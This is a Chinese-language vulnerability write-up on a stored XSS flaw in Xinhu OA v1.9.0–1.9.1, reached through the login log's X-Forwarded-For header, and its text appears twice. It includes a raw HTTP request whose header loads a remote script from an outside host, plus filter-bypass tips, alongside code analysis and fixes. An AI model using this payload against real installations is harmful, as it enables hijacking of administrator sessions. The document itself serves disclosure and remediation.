信呼OA存储型XSS 0day复现
字数 1126 2025-08-25 22:58:55

信呼OA存储型XSS漏洞分析与复现教学文档

0x00 漏洞概述

本漏洞是信呼OA系统(v1.9.0~1.9.1)中存在的一个存储型XSS漏洞,由掌控安全讲师风哥发现。该漏洞利用登录日志记录功能,通过伪造X-Forwarded-For头注入恶意脚本,导致存储型XSS攻击。

0x01 受影响版本

  • 信呼OA v1.9.0
  • 信呼OA v1.9.1

0x02 环境准备

  1. 下载信呼OA v1.9.0或v1.9.1版本:

    • 官网:http://www.rockoa.com/
    • GitHub:https://github.com/rainrocka/xinhu
  2. 搭建测试环境(PHP+MySQL环境)

0x03 漏洞分析

漏洞位置

  1. 登录处理文件:webmain/model/loginMode.php
  2. 日志记录功能:logModel.php
  3. 数据库操作:mysql.php

漏洞原理

  1. 登录失败时,系统会调用addlogs函数记录登录日志
  2. 日志记录内容包括客户端IP地址
  3. IP地址从X-Forwarded-For头中获取,未做充分过滤
  4. 恶意构造的XSS代码通过X-Forwarded-For头被记录到数据库中
  5. 后台查看日志时触发XSS

0x04 漏洞复现步骤

步骤1:搭建测试环境

  1. 安装信呼OA v1.9.0或v1.9.1
  2. 完成初始配置,设置管理员账号

步骤2:触发漏洞

  1. 访问登录页面
  2. 使用Burp Suite或其他工具拦截登录请求
  3. 构造恶意请求:
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: <sCRiPt/SrC=////xs.sb/Jwdu>
Content-Type: application/x-www-form-urlencoded

usname=admin&paword=wrongpassword

步骤3:验证漏洞

  1. 使用管理员账号登录后台
  2. 访问日志查看页面
  3. 观察XSS是否触发(弹窗或执行恶意代码)

0x05 漏洞代码分析

关键代码段1:loginMode.php (209-215行)

// 登录失败时记录日志
if(!$success){
    $this->addlogs('登录', '登录失败', array(
        'user' => $user,
        'pass' => $pass,
        'ip'   => $this->rock->ip
    ));
}

关键代码段2:logModel.php

// 添加日志函数
public function addlogs($mod, $type, $data=array())
{
    $arr = array(
        'mod' => $mod,
        'type'=> $type,
        'ip' => $this->rock->ip, // 从X-Forwarded-For获取IP
        // 其他日志字段...
    );
    $this->insert($arr);
}

关键代码段3:mysql.php

// 数据库插入操作
public function insert($data)
{
    // 构造SQL语句并执行
    // 未对$data['ip']进行XSS过滤
}

0x06 漏洞利用技巧

  1. XSS代码构造

    • 使用大小写混淆绕过简单过滤:<sCRiPt>
    • 使用斜杠混淆:<sCRiPt/SrC=
    • 使用多个斜杠防止转义:////xs.sb/Jwdu>
  2. 利用限制

    • 需要触发登录失败才会记录日志
    • 需要管理员查看日志才能触发
  3. 绕过技巧

    • 使用短域名服务缩短XSS payload
    • 使用编码技术绕过可能的过滤

0x07 修复建议

  1. X-Forwarded-For头进行严格过滤
  2. 对日志记录内容进行HTML实体编码
  3. 升级到最新版本(检查是否有官方补丁)
  4. 实施内容安全策略(CSP)

0x08 总结

该存储型XSS漏洞利用信呼OA系统登录日志记录功能的不安全实现,通过伪造HTTP头注入恶意脚本。漏洞利用需要触发登录失败并诱导管理员查看日志,但一旦成功可导致严重的后果,如窃取管理员会话、控制后台等。

信呼OA存储型XSS漏洞分析与复现教学文档 0x00 漏洞概述 本漏洞是信呼OA系统(v1.9.0~1.9.1)中存在的一个存储型XSS漏洞,由掌控安全讲师风哥发现。该漏洞利用登录日志记录功能,通过伪造X-Forwarded-For头注入恶意脚本,导致存储型XSS攻击。 0x01 受影响版本 信呼OA v1.9.0 信呼OA v1.9.1 0x02 环境准备 下载信呼OA v1.9.0或v1.9.1版本: 官网:http://www.rockoa.com/ GitHub:https://github.com/rainrocka/xinhu 搭建测试环境(PHP+MySQL环境) 0x03 漏洞分析 漏洞位置 登录处理文件: webmain/model/loginMode.php 日志记录功能: logModel.php 数据库操作: mysql.php 漏洞原理 登录失败时,系统会调用 addlogs 函数记录登录日志 日志记录内容包括客户端IP地址 IP地址从 X-Forwarded-For 头中获取,未做充分过滤 恶意构造的XSS代码通过 X-Forwarded-For 头被记录到数据库中 后台查看日志时触发XSS 0x04 漏洞复现步骤 步骤1:搭建测试环境 安装信呼OA v1.9.0或v1.9.1 完成初始配置,设置管理员账号 步骤2:触发漏洞 访问登录页面 使用Burp Suite或其他工具拦截登录请求 构造恶意请求: 步骤3:验证漏洞 使用管理员账号登录后台 访问日志查看页面 观察XSS是否触发(弹窗或执行恶意代码) 0x05 漏洞代码分析 关键代码段1:loginMode.php (209-215行) 关键代码段2:logModel.php 关键代码段3:mysql.php 0x06 漏洞利用技巧 XSS代码构造 : 使用大小写混淆绕过简单过滤: <sCRiPt> 使用斜杠混淆: <sCRiPt/SrC= 使用多个斜杠防止转义: ////xs.sb/Jwdu> 利用限制 : 需要触发登录失败才会记录日志 需要管理员查看日志才能触发 绕过技巧 : 使用短域名服务缩短XSS payload 使用编码技术绕过可能的过滤 0x07 修复建议 对 X-Forwarded-For 头进行严格过滤 对日志记录内容进行HTML实体编码 升级到最新版本(检查是否有官方补丁) 实施内容安全策略(CSP) 0x08 总结 该存储型XSS漏洞利用信呼OA系统登录日志记录功能的不安全实现,通过伪造HTTP头注入恶意脚本。漏洞利用需要触发登录失败并诱导管理员查看日志,但一旦成功可导致严重的后果,如窃取管理员会话、控制后台等。